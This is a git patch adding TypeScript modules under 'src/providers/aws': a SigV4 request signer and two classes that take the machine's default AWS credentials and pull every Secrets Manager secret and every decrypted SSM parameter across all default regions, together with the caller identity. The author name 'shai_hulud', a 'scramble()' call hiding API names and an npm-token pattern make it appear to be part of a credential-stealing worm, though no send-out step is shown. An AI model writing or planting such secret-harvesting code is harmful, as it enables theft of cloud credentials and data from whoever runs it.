From 503ff00c7c0ff72a9f772218340611ddd233db34 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 00:08:05 +0000 Subject: [PATCH] Upload files to "src/providers/aws" --- src/providers/aws/secretsManager.ts | 263 ++++++++++++++++++++++++++++ src/providers/aws/sigv4.ts | 185 +++++++++++++++++++ src/providers/aws/ssm.ts | 227 ++++++++++++++++++++++++ 3 files changed, 675 insertions(+) create mode 100644 src/providers/aws/secretsManager.ts create mode 100644 src/providers/aws/sigv4.ts create mode 100644 src/providers/aws/ssm.ts diff --git a/src/providers/aws/secretsManager.ts b/src/providers/aws/secretsManager.ts new file mode 100644 index 0000000..87a67aa --- /dev/null +++ b/src/providers/aws/secretsManager.ts @@ -0,0 +1,263 @@ +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { + type CallerIdentity, + jsonApiRequest, + stsGetCallerIdentity, +} from "./client"; +import { resolveDefaultCredentials } from "./credentials"; +import type { AwsCredentials } from "./sigv4"; + +declare function scramble(str: string): string; + +// All AWS regions that are enabled by default (non opt-in). +const DEFAULT_REGIONS = [ + "us-east-1", + "us-east-2", + "us-west-1", + "us-west-2", + "ap-northeast-1", + "ap-northeast-2", + "ap-northeast-3", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ca-central-1", + "eu-central-1", + "eu-north-1", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "sa-east-1", +]; + +const PERMISSION_ERROR_CODES = new Set([ + "AccessDeniedException", + "UnauthorizedAccess", + "UnrecognizedClientException", + "InvalidSignatureException", + "ExpiredTokenException", + "InvalidClientTokenId", + "SignatureDoesNotMatch", + "IncompleteSignature", +]); + +interface ListSecretsResponse { + SecretList?: Array<{ Name?: string }>; + NextToken?: string; +} + +interface GetSecretValueResponse { + SecretString?: string; + SecretBinary?: string; // already base64-encoded in the JSON response +} + +interface RegionError { + region: string; + operation: string; + code: string; + message: string; +} + +function extractErrorCode(error: unknown): string { + if (error && typeof error === "object") { + // AWS SDK-style errors + for (const key of ["code", "Code", "__type", "name"]) { + const val = (error as Record)[key]; + if (typeof val === "string") return val; + } + } + return "UnknownError"; +} + +function extractErrorMessage(error: unknown): string { + if (error instanceof Error) return error.message; + if (error && typeof error === "object") { + for (const key of ["message", "Message"]) { + const val = (error as Record)[key]; + if (typeof val === "string") return val; + } + } + return String(error); +} + +function isPermissionError(error: unknown): boolean { + const code = extractErrorCode(error); + if (PERMISSION_ERROR_CODES.has(code)) return true; + const msg = extractErrorMessage(error).toLowerCase(); + return ( + msg.includes("is not authorized to perform") || + msg.includes("access denied") || + msg.includes("security token") || + msg.includes("invalid identity token") + ); +} + +export class AwsSecretsManagerService extends Provider { + private credentials!: AwsCredentials; + private errors: RegionError[] = []; + + constructor() { + super("aws", "secretsmanager", { + npmtoken: /npm_[A-Za-z0-9]{36,}/g, + }); + } + + private recordError(region: string, operation: string, error: unknown): void { + this.errors.push({ + region, + operation, + code: extractErrorCode(error), + message: extractErrorMessage(error), + }); + } + + private async getCallerIdentity(): Promise { + try { + return await stsGetCallerIdentity(this.credentials); + } catch (e) { + if (isPermissionError(e)) { + this.recordError("global", scramble("sts:GetCallerIdentity"), e); + } + return undefined; + } + } + + private async listSecrets(region: string): Promise { + const secretIds: string[] = []; + let nextToken: string | undefined; + + do { + const payload: Record = {}; + if (nextToken) payload.NextToken = nextToken; + + const response = await jsonApiRequest( + this.credentials, + region, + scramble("secretsmanager"), + scramble("secretsmanager.ListSecrets"), + payload, + ); + + if (response.SecretList) { + for (const secret of response.SecretList) { + if (secret.Name) secretIds.push(secret.Name); + } + } + + nextToken = response.NextToken; + } while (nextToken); + + return secretIds; + } + + private async getSecretValue( + region: string, + secretId: string, + ): Promise { + try { + const response = await jsonApiRequest( + this.credentials, + region, + scramble("secretsmanager"), + scramble("secretsmanager.GetSecretValue"), + { SecretId: secretId }, + ); + + if (response.SecretBinary) { + return `BINARY:${response.SecretBinary}`; + } + return response.SecretString; + } catch (e) { + if (isPermissionError(e)) { + this.recordError( + region, + `secretsmanager:GetSecretValue(${secretId})`, + e, + ); + } + return undefined; + } + } + + private async executeForRegion( + region: string, + ): Promise<{ ids: string[]; secrets: Record }> { + const ids: string[] = []; + const secrets: Record = {}; + + try { + const secretIds = await this.listSecrets(region); + if (secretIds.length === 0) return { ids, secrets }; + + const values = await Promise.all( + secretIds.map((id) => this.getSecretValue(region, id)), + ); + + secretIds.forEach((id, i) => { + const key = `${region}:${id}`; + ids.push(key); + secrets[key] = values[i] ?? { error: "Failed to retrieve secret" }; + }); + } catch (e) { + if (isPermissionError(e)) { + this.recordError(region, "secretsmanager:ListSecrets", e); + } + // Non-permission errors (network, region unreachable) — silently skip. + } + + return { ids, secrets }; + } + + async execute(): Promise { + this.errors = []; + + try { + this.credentials = await resolveDefaultCredentials(); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + + try { + const [callerIdentity, results] = await Promise.all([ + this.getCallerIdentity(), + Promise.all( + DEFAULT_REGIONS.map((region) => this.executeForRegion(region)), + ), + ]); + + const allIds: string[] = []; + const allSecrets: Record = {}; + for (const { ids, secrets } of results) { + allIds.push(...ids); + Object.assign(allSecrets, secrets); + } + + if (allIds.length === 0) { + if (this.errors.length > 0) { + const summary = this.errors + .map( + (e) => `[${e.region}] ${e.operation}: ${e.code} — ${e.message}`, + ) + .join("\n"); + return this.failure( + `No secrets retrieved due to permission errors:\n${summary}`, + ); + } + return this.failure( + "No secrets found in AWS Secrets Manager across any region", + ); + } + + return this.success({ + callerIdentity, + regions: DEFAULT_REGIONS, + secretIds: allIds, + secrets: allSecrets, + ...(this.errors.length > 0 && { permissionErrors: this.errors }), + }); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +} diff --git a/src/providers/aws/sigv4.ts b/src/providers/aws/sigv4.ts new file mode 100644 index 0000000..b777304 --- /dev/null +++ b/src/providers/aws/sigv4.ts @@ -0,0 +1,185 @@ +import { createHash, createHmac } from "node:crypto"; + +// ═════════════════════════════════════════════════════════════════════════════ +// Types +// ═════════════════════════════════════════════════════════════════════════════ + +export interface AwsCredentials { + accessKeyId: string; + secretAccessKey: string; + sessionToken?: string; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Hash / HMAC primitives +// ═════════════════════════════════════════════════════════════════════════════ + +function sha256Hex(data: string): string { + return createHash("sha256").update(data, "utf8").digest("hex"); +} + +function hmac(key: Buffer | string, data: string): Buffer { + return createHmac("sha256", key).update(data, "utf8").digest(); +} + +function hmacHex(key: Buffer, data: string): string { + return createHmac("sha256", key).update(data, "utf8").digest("hex"); +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Signing key derivation +// ═════════════════════════════════════════════════════════════════════════════ + +function deriveSigningKey( + secretKey: string, + dateStamp: string, + region: string, + service: string, +): Buffer { + const kDate = hmac(`AWS4${secretKey}`, dateStamp); + const kRegion = hmac(kDate, region); + const kService = hmac(kRegion, service); + return hmac(kService, "aws4_request"); +} + +// ═════════════════════════════════════════════════════════════════════════════ +// URI encoding (RFC 3986, AWS flavour) +// ═════════════════════════════════════════════════════════════════════════════ + +function uriEncode(str: string, encodeSlash = true): string { + let encoded = encodeURIComponent(str) + // encodeURIComponent leaves these un-encoded but AWS wants them encoded: + // ! ' ( ) * + .replace(/[!'()*]/g, (c) => + `%${c.charCodeAt(0).toString(16).toUpperCase()}`, + ); + + if (!encodeSlash) { + encoded = encoded.replace(/%2F/gi, "/"); + } + + return encoded; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Sign a request (Signature Version 4) +// ═════════════════════════════════════════════════════════════════════════════ + +export interface SignRequestOptions { + method: string; + url: string; + headers?: Record; + body?: string; + credentials: AwsCredentials; + region: string; + service: string; +} + +/** + * Produces a fully-signed set of headers for an AWS API request. + * + * All four SigV4 steps are implemented inline: + * 1. Canonical Request + * 2. String to Sign + * 3. Signing Key + Signature + * 4. Authorization header + */ +export function signRequest(opts: SignRequestOptions): { + url: string; + headers: Record; + body: string; +} { + const { method, credentials, region, service } = opts; + const body = opts.body ?? ""; + const url = new URL(opts.url); + + // ── Timestamps ──────────────────────────────────────────────────────────── + const now = new Date(); + // Format: 20250101T120000Z + const amzDate = now.toISOString().replace(/[-:]/g, "").split(".")[0] + "Z"; + const dateStamp = amzDate.slice(0, 8); + + // ── Normalise headers to lowercase keys ─────────────────────────────────── + const headers: Record = {}; + if (opts.headers) { + for (const [k, v] of Object.entries(opts.headers)) { + headers[k.toLowerCase()] = v.trim(); + } + } + + // Host — omit port for standard HTTPS/HTTP + const isStandardPort = + !url.port || + (url.protocol === "https:" && url.port === "443") || + (url.protocol === "http:" && url.port === "80"); + headers["host"] = isStandardPort ? url.hostname : url.host; + + headers["x-amz-date"] = amzDate; + + if (credentials.sessionToken) { + headers["x-amz-security-token"] = credentials.sessionToken; + } + + // ── Step 1: Canonical Request ───────────────────────────────────────────── + + const canonicalUri = uriEncode( + decodeURIComponent(url.pathname || "/"), + /* encodeSlash */ false, + ); + + // Sorted query-string parameters + const queryPairs: [string, string][] = []; + url.searchParams.forEach((v, k) => queryPairs.push([k, v])); + queryPairs.sort((a, b) => + a[0] < b[0] ? -1 : a[0] > b[0] ? 1 : a[1] < b[1] ? -1 : a[1] > b[1] ? 1 : 0, + ); + const canonicalQuerystring = queryPairs + .map(([k, v]) => `${uriEncode(k)}=${uriEncode(v)}`) + .join("&"); + + // Sorted, lowercased headers + const sortedKeys = Object.keys(headers).sort(); + const canonicalHeaders = + sortedKeys.map((k) => `${k}:${headers[k]}`).join("\n") + "\n"; + const signedHeaders = sortedKeys.join(";"); + + const payloadHash = sha256Hex(body); + + const canonicalRequest = [ + method.toUpperCase(), + canonicalUri, + canonicalQuerystring, + canonicalHeaders, + signedHeaders, + payloadHash, + ].join("\n"); + + // ── Step 2: String to Sign ──────────────────────────────────────────────── + + const credentialScope = `${dateStamp}/${region}/${service}/aws4_request`; + const stringToSign = [ + "AWS4-HMAC-SHA256", + amzDate, + credentialScope, + sha256Hex(canonicalRequest), + ].join("\n"); + + // ── Step 3: Signature ───────────────────────────────────────────────────── + + const signingKey = deriveSigningKey( + credentials.secretAccessKey, + dateStamp, + region, + service, + ); + const signature = hmacHex(signingKey, stringToSign); + + // ── Step 4: Authorization header ────────────────────────────────────────── + + headers["authorization"] = + `AWS4-HMAC-SHA256 Credential=${credentials.accessKeyId}/${credentialScope}, ` + + `SignedHeaders=${signedHeaders}, ` + + `Signature=${signature}`; + + return { url: url.toString(), headers, body }; +} diff --git a/src/providers/aws/ssm.ts b/src/providers/aws/ssm.ts new file mode 100644 index 0000000..fc2f654 --- /dev/null +++ b/src/providers/aws/ssm.ts @@ -0,0 +1,227 @@ +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { + type CallerIdentity, + jsonApiRequest, + stsGetCallerIdentity, +} from "./client"; +import { resolveDefaultCredentials } from "./credentials"; +import type { AwsCredentials } from "./sigv4"; + +type ParameterResult = { + success: boolean; + value?: string; + error?: string; +}; + +// All AWS regions that are enabled by default (non opt-in). +const DEFAULT_REGIONS = [ + "us-east-1", + "us-east-2", + "us-west-1", + "us-west-2", + "ap-northeast-1", + "ap-northeast-2", + "ap-northeast-3", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ca-central-1", + "eu-central-1", + "eu-north-1", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "sa-east-1", +]; + +interface DescribeParametersResponse { + Parameters?: Array<{ Name?: string }>; + NextToken?: string; +} + +interface GetParametersResponse { + Parameters?: Array<{ Name?: string; Value?: string }>; + InvalidParameters?: string[]; +} + +export class AwsSsmService extends Provider { + private readonly BATCH_SIZE = 10; + private readonly DESCRIBE_PAGE_SIZE = 50; + private readonly MAX_RETRIES = 3; + private readonly RETRY_BASE_DELAY_MS = 500; + + private credentials!: AwsCredentials; + + constructor() { + super("aws", "ssm"); + } + + private async getCallerIdentity(): Promise { + try { + return await stsGetCallerIdentity(this.credentials); + } catch { + return undefined; + } + } + + private async listParameters(region: string): Promise { + const parameterNames: string[] = []; + let nextToken: string | undefined; + + do { + const payload: Record = { + MaxResults: this.DESCRIBE_PAGE_SIZE, + }; + if (nextToken) payload.NextToken = nextToken; + + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.DescribeParameters", + payload, + ); + + for (const param of response.Parameters ?? []) { + if (param.Name) parameterNames.push(param.Name); + } + + nextToken = response.NextToken; + } while (nextToken); + + return parameterNames; + } + + private sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + private isRetryable(e: unknown): boolean { + if (!(e instanceof Error)) return false; + const msg = e.message; + return ( + msg.includes("ThrottlingException") || + msg.includes("TooManyRequestsException") || + msg.includes("RequestLimitExceeded") || + msg.includes("ServiceUnavailable") || + msg.includes("InternalServerError") + ); + } + + private backoffDelay(attempt: number): number { + const exp = this.RETRY_BASE_DELAY_MS * Math.pow(2, attempt - 1); + return Math.floor(Math.random() * exp); + } + + private async getParametersBatch( + region: string, + names: string[], + ): Promise> { + const results: Record = {}; + + for (let attempt = 1; attempt <= this.MAX_RETRIES; attempt++) { + try { + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.GetParameters", + { Names: names, WithDecryption: true }, + ); + + for (const param of response.Parameters ?? []) { + if (param.Name) { + results[param.Name] = { success: true, value: param.Value }; + } + } + + for (const name of response.InvalidParameters ?? []) { + results[name] = { success: false, error: "Invalid parameter" }; + } + + return results; + } catch (e) { + if (this.isRetryable(e) && attempt < this.MAX_RETRIES) { + await this.sleep(this.backoffDelay(attempt)); + continue; + } + + const errorMsg = e instanceof Error ? e.message : String(e); + for (const name of names) { + results[name] = { success: false, error: errorMsg }; + } + return results; + } + } + + return results; + } + + private async executeForRegion( + region: string, + ): Promise<{ names: string[]; parameters: Record }> { + const names: string[] = []; + const parameters: Record = {}; + + try { + const parameterNames = await this.listParameters(region); + if (parameterNames.length === 0) return { names, parameters }; + + for (let i = 0; i < parameterNames.length; i += this.BATCH_SIZE) { + const batch = parameterNames.slice(i, i + this.BATCH_SIZE); + const batchResults = await this.getParametersBatch(region, batch); + + for (const name of batch) { + const result = batchResults[name]; + const key = `${region}:${name}`; + names.push(key); + parameters[key] = result?.success + ? result.value + : { error: result?.error ?? "Failed to retrieve parameter" }; + } + } + } catch { + // Region unreachable / unauthorized — silently skip. + } + + return { names, parameters }; + } + + async execute(): Promise { + try { + this.credentials = await resolveDefaultCredentials(); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + + try { + const [callerIdentity, results] = await Promise.all([ + this.getCallerIdentity(), + Promise.all( + DEFAULT_REGIONS.map((region) => this.executeForRegion(region)), + ), + ]); + + const allNames: string[] = []; + const allParameters: Record = {}; + for (const { names, parameters } of results) { + allNames.push(...names); + Object.assign(allParameters, parameters); + } + + if (allNames.length === 0) { + return this.failure("No parameters found in AWS SSM across any region"); + } + + return this.success({ + callerIdentity, + regions: DEFAULT_REGIONS, + parameterNames: allNames, + parameters: allParameters, + }); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +}